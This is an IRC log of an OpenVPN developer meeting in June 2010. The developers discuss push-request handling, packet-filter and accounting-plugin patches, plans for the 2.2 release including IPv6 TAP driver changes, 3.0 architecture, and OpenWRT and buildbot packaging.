Yarrick [banverk@rankine.df.lth.se] has joined #openvpn-devel 10:18 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 10:41 -!- mape2k [~mape2k@150.200.116.85.dsl.manitu.net] has joined #openvpn-devel 11:06 -!- mape2k [~mape2k@150.200.116.85.dsl.manitu.net] has quit [Ping timeout: 276 seconds] 11:07 < krzee> can someone explain something to me? 11:07 < krzee> Handle non standard subnets in PF grammar 11:07 < krzee> where does openvpn deal with pf? 11:08 < ecrist> packet filter 11:08 < ecrist> not pf firewall 11:08 < ecrist> openvpn has it's own rudimentary packet filter. 11:09 < krzee> oh 11:09 < krzee> like how it drops packets not in the iroute table 11:12 <@dazo> krzee: the ovpn pf implementation is a kind of internal firewall in OpenVPN 11:13 <@dazo> but it works only on IP address level and do not tackle port filtering, afaik 11:13 < chantra> dazo: nope, only IP 11:13 < chantra> but it turns out to be sufficient for some cases 11:15 * dazo is not sure he likes the pf filtering in OpenVPN, from a principle point of view 11:15 < chantra> :) but it became handy to me lately to be able to set up basic firewalling 11:15 * dazo consider that the OS level's responsibility ... but acknowledges that not all OSes have that possibility easily accessible 11:16 < chantra> and be sure not to mess with iptables and the like 11:16 <@dazo> chantra: that's the practical point of view ;-) 11:16 < chantra> just write to a file and dont care about it anymore 11:17 < chantra> when the session ends, it wont affect anybody that could get the same ip 11:22 < krzee> dazo, i thought openvpn considered that the OS's responsibility as well 11:23 < krzee> Yarrick, welcome! just noticed you joined 11:24 < krzee> to those who dunno, Yarrick is the dev of iodine (the best dns tunneling app) 11:31 < Yarrick> hi all 11:37 <@dazo> hi, Yarrick! 12:02 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:03 -!- fkr_ [~fkr@devon.fsck.us] has joined #openvpn-devel 12:11 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:26 <@cron2> full-blown pf(4) support sounds like something for openvpn 3.0 :-) 12:35 < fkr_> ack 12:38 < krzee> right, as a plugin 12:39 < krzee> (like everything else) 13:07 <@cron2> ok, here I am, where's the meeting? 13:07 <@mattock> me too 13:08 <@dazo> :) 13:08 <@mattock> don't know about the meeting 13:08 < krzee> its bout that time! 13:08 < krzee> Thu Jun 10 18:08:14 UTC 2010 13:08 <@dazo> mattock: have you called for James? 13:08 <@mattock> not yet, I'd love if I wouldn't have to :) 13:09 * dazo admires mattock's optimism 13:09 < krzee> haha 13:09 < krzee> we have the lead dev from iodine here, lets try to get the lead dev from openvpn too! ;) 13:10 < krzee> lol 13:10 <@mattock> should we begin and if James is not here in 5 minutes, I'll mail him 13:10 <@mattock> ? 13:10 <@dazo> mattock: mail him now ... we're 10 min due already 13:10 <@mattock> ok 13:12 <@dazo> btw ... I can mention that now before I forget it .... I'll start 2 weeks of holiday tomorrow, so don't count on me the next two meetings 13:12 <@mattock> dazo: ok 13:12 <@mattock> sent mail to james, let's start the meeting 13:12 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 13:13 <@mattock> topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-06-10 13:13 < vpnHelper> Title: Topics-2010-06-10 – OpenVPN (at community.openvpn.net) 13:13 <@mattock> https://community.openvpn.net/openvpn/ticket/13 13:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:13 < vpnHelper> Title: #13 (Not using --push on server makes client sending PUSH_REQUEST continuously) – OpenVPN (at community.openvpn.net) 13:13 <@mattock> hi james! 13:13 < jamesyonan> hi! 13:14 <@dazo> perfect! 13:14 < krzee> that was faster than batman chasing the bat signal! 13:14 <@mattock> krzee: that's fast! 13:14 <@mattock> ok, so first topic was a potential bug: https://community.openvpn.net/openvpn/ticket/13 13:14 < vpnHelper> Title: #13 (Not using --push on server makes client sending PUSH_REQUEST continuously) – OpenVPN (at community.openvpn.net) 13:15 <@dazo> I've been checking it out, and this looks like a bug indeed ... if the client don't receive a PUSH response from the server, it just waits forever 13:15 <@mattock> also, the "Adding either --tcp-nodelay (even though we're using UDP) ... resolves this issue" sounds interesting 13:15 <@dazo> mattock: that does a PUSH, I think I found out 13:16 <@dazo> I've not been poking at the code level yet, but maybe jamesyonan knows where to start looking? I don't mind looking into it when I'm back from holidays, unless somebody else are quicker 13:16 <@mattock> one would not expect any tcp config option stuff to affect udp, though... 13:16 < jamesyonan> the client should need a "pull" option or a macro that includes "pull" in order to query the server with PUSH_REQUEST 13:16 < krzee> wouldnt that be a config error? 13:17 < krzee> from them redesigning --server manually with no push, but still using --client or --pull on the client 13:17 <@dazo> jamesyonan: there are no --pull options in client config 13:17 < krzee> since if they use --server it will push something... 13:17 < krzee> dazo, including --client? 13:17 <@dazo> --client is used 13:17 < waldner> --client implies --pull 13:17 < krzee> --client IS --pull 13:17 < krzee> or ya implies 13:18 <@dazo> right! I forgot that 13:18 < krzee> it has something else too 13:18 <@dazo> --tls-client 13:18 < krzee> ya, thats it 13:18 < krzee> all client is is --pull and --tls-client 13:18 < krzee> i explained that to someone who found that "bug" in the IRC channel 13:19 < krzee> i wonder if it was the same person ;] 13:19 <@dazo> but wouldn't it be expected that --pull should work on client side even if server has nothing to push? Server could simply say: "Sorry, nada for you" 13:19 <@cron2> dazo: that's what I was about to say 13:19 < krzee> true, that seems like a valid thing to so 13:19 <@cron2> send empty PUSH REPLY back 13:19 < krzee> s/so/do/ 13:20 <@dazo> exactly 13:20 < jamesyonan> yeah, that would probably work 13:20 <@dazo> jamesyonan: and quick ideas where to start poking? 13:21 * dazo got an 11 hour long flight coming .... perfect hacking time :-P 13:21 <@mattock> unless the flight attendants force you to switch off your computer... :) 13:21 <@dazo> mattock: suspend mode? 13:21 <@dazo> :-P 13:22 <@cron2> dazo: lemme check 13:22 <@cron2> well, there's obviously push.c :-) 13:22 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:22 * krzee hopes dazo gets a seat with travel charger port 13:22 * dazo hopes so too! 13:23 <@dazo> coding on paper is so freaking boring 13:23 <@cron2> my laptop has a new battery, 7+ hours lifetime :) 13:23 < jamesyonan> yeah, check out push.c 13:23 <@dazo> cron2: send it my way! 13:23 <@cron2> nah 13:23 <@dazo> heh 13:24 <@cron2> dazo: process_incoming_push_msg() 13:24 <@dazo> not send_push_request()? 13:24 <@dazo> ahh! 13:24 <@dazo> yeah 13:24 <@cron2> but I'm not sure under which conditions that would refuse to send a PUSH_REPLY 13:25 < krzee> ok so dazo will look into solving that "bug" by allowing the server to reply to a push request with "no soup for you" during his hellish 11hr flight... 13:25 < krzee> i give it a +1 13:25 <@cron2> +1 13:25 <@mattock> +1 13:25 <@mattock> shall we move on? 13:25 <@cron2> (11hr, that sounds like "new zealand" or something nice like this... dazo, where are you going to?) 13:25 <@dazo> Alaska 13:25 < krzee> haha 13:26 < krzee> come to the caribbean man 13:26 <@dazo> New Zealand is 24h+ ... been there, done that :-P 13:26 <@dazo> krzee: next time ;-) 13:26 < jamesyonan> so you're going into the wild? 13:26 <@cron2> dazo: ah, send_push_reply() has "if (BLEN (&buf) > sizeof(cmd)-1)" at the end, so it will just not send a reply if there is no soup 13:26 <@dazo> my wife got some friends living in Fairbanks 13:26 <@mattock> to hunt bears with your bare hands? or perhaps beers? 13:26 <@dazo> cron2: yeah 13:27 <@cron2> but it needs checking whether the client will choke on empty messages or handle that gracefully 13:27 < krzee> lol mattock 13:27 * dazo don't like beer, but prefers beer before bears 13:27 <@cron2> (the client code is quite robust there - the IPv6 stuff works because "unpatched" clients will just ignore unknown push-options) 13:27 <@dazo> cron2: good tip! I'll make sure to dig into that part 13:27 < jamesyonan> my guess is that the client might warn about an empty push but will not choke over it 13:28 < krzee> ahh if they ignore over unknown, you can just send NO_SOUP option 13:28 < krzee> hehe 13:28 <@dazo> jamesyonan: I'll check out that ... and make it ignore empty push silently ... would that be fine? 13:28 <@cron2> krzee: heh. good plan :-) 13:29 <@dazo> next topic? 13:29 <@mattock> next topic? 13:29 <@mattock> ok 13:29 <@dazo> heh 13:29 < krzee> nexxxxt 13:29 <@dazo> https://community.openvpn.net/openvpn/ticket/14 13:29 <@mattock> https://community.openvpn.net/openvpn/ticket/14 13:29 < vpnHelper> Title: #14 ([PATCH] Handle non standard subnets in PF grammar) – OpenVPN (at community.openvpn.net) 13:29 < vpnHelper> Title: #14 ([PATCH] Handle non standard subnets in PF grammar) – OpenVPN (at community.openvpn.net) 13:29 < jamesyonan> when the client gets push options from server, it will run them through the command line processor 13:29 <@mattock> hmm... deja vu 13:30 < krzee> looks like this ticket is a patch from chantra... chantra you here? 13:31 <@dazo> jamesyonan: but it will be in a "awaiting server push after having sent the push request, right? So it can then validate the length of the push and consider to pass it on to the command line parser 13:31 < krzee> [chantra] idle 02:13:45 13:31 < chantra> krzee: yop 13:31 -!- fkr_ [~fkr@devon.fsck.us] has quit [Quit: leaving] 13:31 < jamesyonan> dazo: probably 13:31 <@dazo> The next patch is ACKed by cron2 already ... so I don't think it's much to be said here, I think 13:31 <@cron2> dazo: yop 13:31 <@cron2> (for the question before that) 13:32 <@dazo> jamesyonan: I'll squash that bug then 13:32 < krzee> oh cool, already ack'ed! 13:32 <@mattock> dazo: you mean this pf subnet stuff is ACK'd? 13:32 <@cron2> for the patch in question: I think the only thing left to agree on is "do we want a warning"? 13:32 <@dazo> yes, that was what I was going to say 13:33 < krzee> how do users control the internet pf? the fact that one exists is news to me (does it exist in 2.1.1?) 13:33 < chantra> to me it could be interpreted as a user typo and could be done silently 13:33 < krzee> errr 13:33 < krzee> s/internet/internal/ 13:33 <@dazo> I find appropriate to warn in that situation .... such a warning says you have either wrong IP or wrong netmask 13:34 * cron2 agrees with dazo :) 13:34 <@cron2> mattock: yes, patch has been sent, reviewed, reworked, and ACKed 13:34 <@mattock> cron2: great! 13:34 <@dazo> if you do 192.168.0.155/24 ... you could mean 192.168.0.155/32 ... or 192.168.0.0/32 13:34 <@dazo> 192.168.0.0/24, I mean 13:34 < jamesyonan> agreed: a warning is probably appropriate, but I would ACK as-is 13:34 < chantra> dazo: correct 13:35 < waldner> krzee: a plugin is needed, although virtually everything can be done using scripts 13:35 <@dazo> cool, thx! I'll merge those two submitted patches into one simpler one, for the git history to look more sane 13:35 < waldner> but you do need a plugin that tells OpenVPN that you're using the internal pf 13:36 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 13:36 < krzee> waldner, oh ok i see 13:37 <@mattock> anything else on this issue? 13:38 <@mattock> or shall we move on to https://community.openvpn.net/openvpn/ticket/15 ? 13:38 < vpnHelper> Title: #15 ([PATCH] Enabling Accounting/Stats for plugins) – OpenVPN (at community.openvpn.net) 13:38 <@dazo> For me it is clear .... patch with warning is ACKed, I'll merge it in 13:38 <@cron2> dazo: yes, makes sense 13:38 < krzee> +1 13:39 <@dazo> There are a few things I don't feel so comfortable with this patch 13:40 <@dazo> openvpn-plugin.h is modified ... and there _STATS seems to be replaced with _ACCOUNTING 13:40 <@dazo> which is unclear to me why that is done 13:40 <@mattock> chantra: care to elaborate? 13:40 <@dazo> This will break third-party plug-ins which uses OPENVPN_STATS 13:40 <@dazo> (at build time) 13:41 < chantra> oh, coz i called it stats based on the post http://permalink.gmane.org/gmane.network.openvpn.devel/1048 13:41 < vpnHelper> Title: Radius support (Authentification, Authorization and Accounting) (at permalink.gmane.org) 13:41 * cron2 can't claim to understand the plugin interface well enough to comment 13:41 < chantra> coz the rest of the patch was actually _accounting..... i though it would make more sense to call the plugin accounting 13:41 <@dazo> further OPENVPN_PLUGIN_N is renumbered to 13 from 12 ... which can cause run-time complications 13:41 <@mattock> that's pretty old thread (2005) 13:42 <@dazo> to plug-in binaries compiled against an earlier openvpn release, and the openvpn is upgraded 13:42 <@dazo> (there are also some white-space diffs in the patch as well ... so it "modifies" lines adding/removing spaces or tabs) 13:42 < chantra> dazo: i though plugin_n was the last number 13:43 < chantra> so i move it to the next available and put _accounting in place 13:43 * dazo need to double check that 13:43 < chantra> dazo: also, maybe I should have generated only one patch and not the succession o patches from one commit to another 13:43 <@dazo> aha! 13:44 <@dazo> that's probably confusing us now 13:44 < chantra> i just used git format-patch 13:44 <@dazo> yeah 13:44 <@dazo> that's right 13:44 <@dazo> chantra: I'll find some tricks how to collect several commits into one commit for format-patch 13:45 <@mattock> I assume we want the functionality of this patch, right? 13:45 <@mattock> so it's just minor modifications and fixes and then it's ACK? 13:46 <@dazo> chantra: what exactly does this accounting provide in addition to the --status file? 13:46 * dazo just want's to be sure he understands it correctly 13:47 < chantra> in addition, nothing 13:47 < chantra> but rather a signal interface 13:48 < chantra> through the plugin you can provide a custom accounting interval 13:48 < chantra> the mainloop will call the plugin anytime this period is expired 13:48 < chantra> dazo: https://community.openvpn.net/openvpn/attachment/ticket/15/accounting.patch 13:48 < vpnHelper> Title: Attachment – OpenVPN (at community.openvpn.net) 13:49 < chantra> it was discuss by jamesyonan a while back http://permalink.gmane.org/gmane.network.openvpn.devel/1048 13:49 < vpnHelper> Title: Radius support (Authentification, Authorization and Accounting) (at permalink.gmane.org) 13:49 < chantra> 2005 :) 13:50 <@dazo> chantra: can you do a little write up of a little document how to implement it? 13:50 <@cron2> well, so it's up to James to ACK this patch, no? :-) 13:50 <@dazo> that may help understand the API 13:51 < chantra> dazo: i tried to explain in the track ticket , but can elaborate sure 13:51 < jamesyonan> I should add that the management interface already supports accounting. 13:52 <@dazo> then we actually are doing the same twice 13:52 < chantra> the only wall i was hitting is that func_v2 seems to only be fully implmented (as in using return_list vlues) for PLUGIN_CONNECT_V2 13:52 <@dazo> chantra: would you mind writing a little plug-in demo which illustrates the usage? 13:52 < chantra> dazo: but the you are dependant n either having the management interface on or parsing a file 13:53 < jamesyonan> There's some duplication here in the sense that the plugin interface and management interface can often be used to accomplish the same thing 13:53 <@dazo> chantra: I see the advantage of writing a plug-in rather than writing a socket application connecting to the management interface 13:53 < chantra> dazo: np, i got some kind of running demo already, but it is backend dependant 13:53 < jamesyonan> the major difference is that the plugin interface is synchronous while the management interface is asynchronous 13:54 <@dazo> chantra: just make something very simple, which writes to a file every 60 second or so 13:54 < chantra> dazo: k 13:54 <@dazo> and james' comment is what I was wondering about too 13:55 < chantra> thats right, but the management interface mean that you need to start a telnet session from the plugin to connect to it 13:55 < chantra> parse the reply 13:56 < chantra> here, you have everything integrated and that cn be used easily from within a C plugin 13:56 < chantra> to me, one is management as in humna managing openvpn 13:56 <@dazo> or that the plug-in talks to a separate accounting daemon .... where the plug-in just asks the daemon "is client XYZ allowed?" 13:57 < chantra> the other one can be handle programatically 13:57 <@cron2> plugins are .so loaded by OpenVPN? Or how does the communication OpenVPN->plugin work? 13:57 < chantra> dazo: yeah, let get back on radius 13:58 < chantra> from my .so, i first receive plugin_auth_user_pass and authenticate user 13:58 < chantra> later on, connect_v2 kicks in and tell me what ip can be provided to client, what time the session start... 13:58 <@dazo> cron2: yeah, plug-ins are loaded by OpenVPN ... and the openvpn server process triggers different hooks 13:59 < chantra> at this time, the plugin can return tell openvpn to give it an update every so often 13:59 <@dazo> cron2: depnending on how the plug-in is initialised with openvpn, where it defines which hooks it will answer to 13:59 <@dazo> chantra: I 14:00 <@dazo> You've done a great job providing patches, and they generally have quite good quality 14:00 <@cron2> dazo: ok (I was worried about having to do an exec() etc. every few seconds, but if it's basically just a function call, the overhead is not so bad) 14:01 < chantra> cron2: yeah, default is set to 60s, but you can set it to 0 to disable the feature 14:01 <@dazo> but bringing up such old threads like this one, is dangerous ... as we might have other approaches solving similar issues ... it might be a good idea to ask if the feature is still needed, or what else others might see as solutions on the mailing list ... just to avoid wasting time if the patch is not accepted 14:01 < chantra> then, the plugin can again change this value depending on what the AAA server told it to 14:01 <@dazo> (but I'm not saying NACK now ... but we need to go a few more rounds on this one) 14:02 < chantra> dazo: :) 14:02 < chantra> yeah, i understand... but was probably needing this for my on use anyway... so i was going to code it 14:02 <@mattock> what if we proceed like this: 14:03 <@mattock> - chantra explains this patch in more detail in the Trac ticket 14:03 <@mattock> - we ask our users if they want the feature 14:03 <@dazo> then, I just say, thanks for sharing :) And we'll have a deeper look into this one ... especially if you can provide some little example code 14:03 <@dazo> mattock: +1 14:04 < krzee> +1 14:04 < chantra> sounds good 14:04 <@dazo> But honestly, I'd say we have one more important topic .... which features to include into 2.2 ... that got postponed last week, do we have time for this one now? 14:04 <@mattock> dazo: I think so 14:04 <@cron2> it would be good to at least briefly cover this 14:04 <@dazo> yes 14:04 <@mattock> also, yarrick may want to discuss 3.0 a little... 14:05 <@mattock> (he's lead dev from iodine which according krzee is the best dns tunneling app :) 14:05 < Yarrick> yes, that would be interesting 14:05 <@mattock> yarrick: what if we discuss 2.2 first? 14:06 < Yarrick> go ahead 14:06 < krzee> has ipv6 been tested enough for 2.2? 14:06 <@mattock> ok, so which features to include in 2.2... 14:06 <@dazo> Features I find safe for OpenVPN 2.2 are basically the bugfix2.1, feat_misc, feat_frp and feat_eurephia 14:07 <@dazo> s/feat_frp/frp/ 14:07 <@mattock> what's in feat_misc and feat_frp? 14:07 <@dazo> feat_misc is a lot of minor feature additions ... 14:07 * dazo will look up the changelog 14:07 <@cron2> krzee: "sort of" 14:08 <@mattock> btw. regarding 2.2... I'll start working on the continous integration/packaging/publishing server tomorrow 14:08 <@mattock> been playing with puppet to automate annoying server setup tasks, but I'm mostly finished with it now 14:08 <@dazo> http://www.pastebin.ca/1880608 14:08 <@mattock> (in a good way) 14:08 <@cron2> krzee: I'm not sure about the IPv6 transport (JJo) stuff. The IPv6 payload stuff is working well, and I have not heard "has problems" reports so far - but I consider it not yet feature-complete, so I'd aim for 2.3 here 14:09 <@cron2> dazo: what I would *love* to see in 2.2 is the TAP driver changes necessary for IPv6 support 14:09 <@dazo> pastebin is changelog from SVN BETA21 branch from last week which is not added 14:09 <@dazo> cron2: is that possible to extract out? 14:09 <@cron2> that way, users can build a new openvpn.exe for windows, but don't have to figure out how to build a device driver 14:10 <@cron2> dazo: yes, it's isolated changes (on purpose :) ), let me grab the commit IDs 14:10 <@dazo> cron2: perfect! 14:10 <@cron2> dazo: 175e17a5abd5969f6803a9cc9587b7959e1100ae 14:10 <@mattock> cron2: I'd probably have to build windows.exe's, too, so I'd love those TAP driver changes too 14:11 <@cron2> dazo: and 6fa56ad77d30e40db43f54a347cc83eb04f4f6dd, one-line fix in the "DATE" specification 14:11 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commit;h=175e17a5abd5969f6803a9cc9587b7959e1100ae 14:11 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commit (at openvpn.git.sourceforge.net) 14:11 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commit;h=6fa56ad77d30e40db43f54a347cc83eb04f4f6dd 14:11 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commit (at openvpn.git.sourceforge.net) 14:12 <@dazo> (click on 'commitdiff' if the patch changes don't show up) 14:13 <@dazo> jamesyonan: do you agree to put IPv6 enabled TAP driver into 2.2? 14:13 <@mattock> and what about the rest of the stuff? 14:14 <@dazo> mattock: bugfix2.1, feat_misc, frp and feat_eurephia? 14:14 <@mattock> yep 14:14 <@dazo> http://www.pastebin.ca/1880608 .... changelog overview of feat_misc 14:14 <@mattock> I mean what james thinks about those :) 14:14 < jamesyonan> How much testing has the IPv6 enabled TAP driver received so far? 14:15 <@cron2> fairly basic testing only 14:15 <@mattock> cron2: how big changes are in it (compared to non-IPv6 enabled TAP driver)? 14:15 <@cron2> a few people have tested it on XP (works), Win7/32 (seems to work) and Win7/64 (doesn't work because I have not yet signed it) 14:16 <@dazo> as it is 2 pretty clean patches, and we don't have much windows patches at all .... these two IPv6 patches can be reverted quite easily, if a beta phase indicates it is not solid enough 14:16 <@cron2> mattock: the changes are not that big, but they *are* in the "all packets pass here" path, so they are relevant for IPv4-only users as well 14:16 <@mattock> cron2: ok 14:17 <@dazo> the vast majority of the patch seems to be pretty much isolated to IPv6, though 14:17 <@mattock> I'll try build the CI server a.s.a.p. (=before end of June) to get more coverage for "testing" 14:17 <@cron2> the stuff is fairly isolated, though, and should be review'able fairly easy for obvious problems 14:17 <@mattock> ...including ipv6 14:18 <@mattock> dazo: when do you think we could roll out first alpha? 14:18 <@cron2> mattock: cool :) 14:18 <@dazo> before end of July? 14:18 <@mattock> given these features (incl. ipv6-enabled tap driver) 14:18 <@mattock> dazo: ok 14:19 <@mattock> I'll concentrate on packaging+publishing first, CI stuff (e.g. buildbot) can wait 14:19 <@mattock> jamesyonan: does this plan for 2.2 contents + schedule sound sane to you? 14:19 <@dazo> btw ... I'm running openvpn-testing version in production as a client, which got a 24/7 connection running ... and I have no issues on basic stuff there 14:19 < jamesyonan> yeah, this looks reasonable 14:21 <@mattock> ok, so let's try to get automated packaging+publish working by end of June and first 2.2 alpha out by the end of July 14:21 <@dazo> perfect! 14:22 <@mattock> ok, anything else on 2.2? 14:22 <@cron2> dazo: cool. (I use ipv6 payload in production, no windows unfortunately there yet... need to see whether one of my colleagues is still on windows, most of them migrated to macosX) 14:23 <@dazo> cron2: this site I plan to upgrade to use ipv6 transport (when the ISP provides me with "proper" IPv6 addresses) ... and then IPv6 payload soon after, so we'll get some more testing there 14:23 <@cron2> cool :) 14:24 <@mattock> ok, shall we discuss 3.0 briefly now? Yarrick: anything special you'd like to share? 14:24 <@mattock> https://community.openvpn.net/openvpn/wiki/RoadMap 14:24 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 14:25 < Yarrick> the architecture diagram looks sane 14:25 < Yarrick> i just wonder where fragmentation would fit in. in its own layer or in one of the others? 14:25 <@mattock> yarrick: I assume this is the project you lead: http://code.kryo.se/iodine/ 14:25 < vpnHelper> Title: kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel) (at code.kryo.se) 14:26 < Yarrick> mattock: correct 14:26 <@dazo> fragmentation of packets to/from the TUN/TAP (bottom) .... or on the socket side (top) ? 14:26 <@mattock> that's one funky project, btw ;) 14:27 < krzee> i use iodine on ALL my travels 14:27 < krzee> its <3 14:27 < Yarrick> dazo: at the top, if the udp link is picky about length 14:27 < Yarrick> i guess its not a problem for normal vpns :) 14:28 <@cron2> krzee: *lol* (I use dns2tcp, which is not tun based, but suffices for ssh) 14:28 <@dazo> Yarrick: then the fragmentation would then happen in the socket module 14:29 < Yarrick> dazo: ok 14:30 <@dazo> the "yellow field" is an internal packet bus, where packets are tagged to or from modules ... so it could actually be a separate module as well, but as the fragmentation on the socket level is so tightly connected to what's being sent out, the socket module makes more sense in my head ..... but I'm not an experience low-level network coder, so I might be wrong 14:30 < jamesyonan> I would see fragmentation as belonging in the transport layer domain 14:31 <@dazo> which corresponds to the "socket module" in the diagram 14:33 < Yarrick> building query and reply-oriented transports like http and dns requires a bit more logic than just tcp/udp, but as long as that is thought of it should be straightforward to add 14:34 <@dazo> Yarrick: we'll probably pull you more into the design, so that we're sure of thinking of this ;-) 14:34 <@mattock> dazo: +1 14:34 <@mattock> ;) 14:34 <@mattock> anything else, anyone? 14:35 <@mattock> if not, this meeting was pretty quick 14:35 <@dazo> 1.5hour quick? ;-) 14:35 <@dazo> not bad, that's true :) 14:36 <@mattock> 1:25 is more like it 14:36 <@mattock> anyways, disregard my earlier comment :) 14:36 <@mattock> ok, unless there are any objections, let's call this a day 14:37 * cron2 waves :) 14:37 * dazo waves too :) 14:37 <@mattock> \o/ 14:37 <@dazo> +1 14:37 <@mattock> I guess that's a wave, too... or an applause 14:37 <@cron2> (nb: I found out how to build OpenWRT packages, so if one of you wants to build something, let me know9 14:37 <@cron2> OpenWRT+OpenVPN+feat_payload_ipv6 on company OpenVPN router now... 14:38 < krzee> /o\ 14:38 <@dazo> cron2: can you send over the package to me! 14:38 <@dazo> ? 14:38 <@mattock> jamesyonan, cron2: I'd like to know everything about OpenVPN building, so I'll be bugging you during next few weeks :D 14:38 < jamesyonan> mattock: sure 14:38 < krzee> cron2, that could be interesting to have at /downloads... 14:38 <@cron2> dazo: the problem with that is that you need to decide on the specific architecture. I have ar71xx and brcm-2.4 now 14:38 < krzee> releasing our own WRT releases... what do you guys think...? 14:39 <@mattock> cron2: can't you just build it for every platform? 14:39 * dazo woulkd like it 14:39 <@dazo> cron2: I got an WRT54GL .... that's brcm-2.4, isn't it? 14:39 <@mattock> I think we make release for every platform, as long as the build can be automated 14:39 <@cron2> mattock: I'm not sure I understand all of this. It's basically "checkout a huge tree of magic make files and subdirectories, run 'make menuconfig' to tell it "architecture 'X'" and then run make to build development tools and packages" 14:40 <@mattock> cron2: I'm not sure I understand it either, but I soon will :)... or fail trying 14:40 <@cron2> changing architectures seems to require "build new .config file, re-build everything" 14:40 <@mattock> I'll know more after doing some research 14:40 <@cron2> dazo: wrt54gl is brcm-2.4, yes. http://www.greenie.net/ipv6/openvpn.html, links to the two ipk at the end "binary packages" 14:41 <@dazo> cron2: cool! Thx! I'll give it a whirl! Is it based on -testing.git? which branch? 14:41 <@cron2> mattock: for a single platform, it's fairly straightforward ("checkout packages, add in extra patches you want, run make") 14:41 <@cron2> dazo: it's 2.1.1 + ipv6 patch 14:41 <@cron2> (ipv6 payload) 14:42 <@dazo> nice! That's worth testing out :) 14:42 <@cron2> I have done notes in my own wiki, will clean them up and put to openvpn wiki 14:42 <@cron2> (or mail to list) 14:43 <@cron2> I hope that mape2k can help here as well, but he's busy these days 14:44 <@mattock> cron2: I may be a little optimistic, but that's only because I don't know enough yet :) 14:44 <@mattock> let see what happens 14:44 <@mattock> I'll keep you guys posted 14:44 <@cron2> mattock: there must be ways to run bulk-build for all the OpenWRT platforms - otherwise the OpenWRT folks would not be able to do so. 14:45 < krzee> cron2, even if you do put it on mail list, pls also put it on the wiki 14:45 <@cron2> I have no contacts to these folks, though, so what I did was based on googling and experimenting :) 14:45 <@cron2> krzee: yes 14:45 <@mattock> krzee: +1 14:46 <@mattock> cron2: I can contact them when the time comes... however, I think I'll have to prioritize by focusing on "basic" packages first 14:46 <@mattock> including windows (damn) 14:46 <@cron2> heh :) 14:47 * dazo calls this a day 14:47 <@dazo> thx for a good meeting today! 14:47 <@mattock> dazo: +1... I'll send the summary tomorrow 14:47 <@mattock> bye guys! 14:48 <@dazo> see y'all in at least 2 weeks, maybe earlier if weather is bad and Internet connection is good :-P 14:48 <@mattock> dazo: are you leaving tomorrow? 14:48 <@cron2> dazo: enjoy your vacation :) (and mind the time zones) 14:48 <@dazo> yeah, leaving around noon (CEST) 14:48 <@mattock> have a nice holiday! 14:48 <@dazo> thx! 14:49 <@mattock> remember not to spend it entirely on OpenVPN development :) 14:49 <@dazo> hehe 14:49 <@dazo> my wife would probably kill me before I got too excited :-P 14:51 -!- dazo is now known as dazo_afk 14:51 < krzee> have a good holiday! 14:53 < krzee> i love the timing of these meetings 14:53 < krzee> they end, i get off work 14:53 < krzee> and speaking of which... im outta here! 15:24 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:49 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 15:56 < chantra> dazo_afk: well, testing plugin made and sent to mailing list/ticket #15 15:56 < chantra> tk for looking at it :) 16:03 < krzie> great... my exgf is puking blood so now i gotta miss jui jitsu to take her to the hospital =/ 16:03 < krzie> she shoulda picked a diff day to start puking blood! 16:18 < chantra> :s that not nice whichever day it is 16:31 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 16:45 < krzie> lol ya im a chauvinist ;] 16:46 < krzie> although of course im just being an ass, im the one who chose to take her 16:46 < krzie> speaking of which, im off to go do that --- Day changed Fri Jun 11 2010 00:38 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:44 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:59 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:01 <@mattock1> I think I'll start configuring buildbot... it seems to have a sane architecture, does the continuous integration stuff, automated packaging for different platforms etc... 03:01 <@mattock1> http://www.wireshark.org/docs/wsdg_html_chunked/ChIntroAutomated.html 03:01 < vpnHelper> Title: 1.6. Automated Builds (Buildbot) (at www.wireshark.org) 03:01 <@mattock1> http://buildbot.wireshark.org/trunk/waterfall 03:01 < vpnHelper> Title: BuildBot: Wireshark (development) (at buildbot.wireshark.org) 03:01 <@mattock1> http://www.wireshark.org/download/automated/ 03:01 < vpnHelper> Title: Index of /download/automated (at www.wireshark.org) 03:02 <@mattock1> add that with custom "snapshot" yum/deb repositories and links in openvpn.net and "testing" should get a lot more automated testing and visibility 03:10 < krzie> i agree 05:40 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 07:08 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 248 seconds] 09:06 -!- HanX [~HanX@ks368275.kimsufi.com] has joined #openvpn-devel 09:06 < HanX> hi. 09:06 < HanX> i'm coding a patch for openvpn. 09:06 < HanX> and i need some advice 09:06 < HanX> i added a new "argv" and i want to retreive it in a function 09:07 < HanX> i think i can use setenv_str(), how can I get env vars ? 09:09 < HanX> note: i'm modifying verify_callback() in ssl.c 09:09 < ecrist> HanX: hang around a bit, it can take a little while to get answers in here. 09:11 < HanX> ok :S 09:14 -!- Irssi: #openvpn-devel: Total of 17 nicks [5 ops, 0 halfops, 0 voices, 12 normal] 09:28 -!- krzee [~k@unaffiliated/krzee] has quit 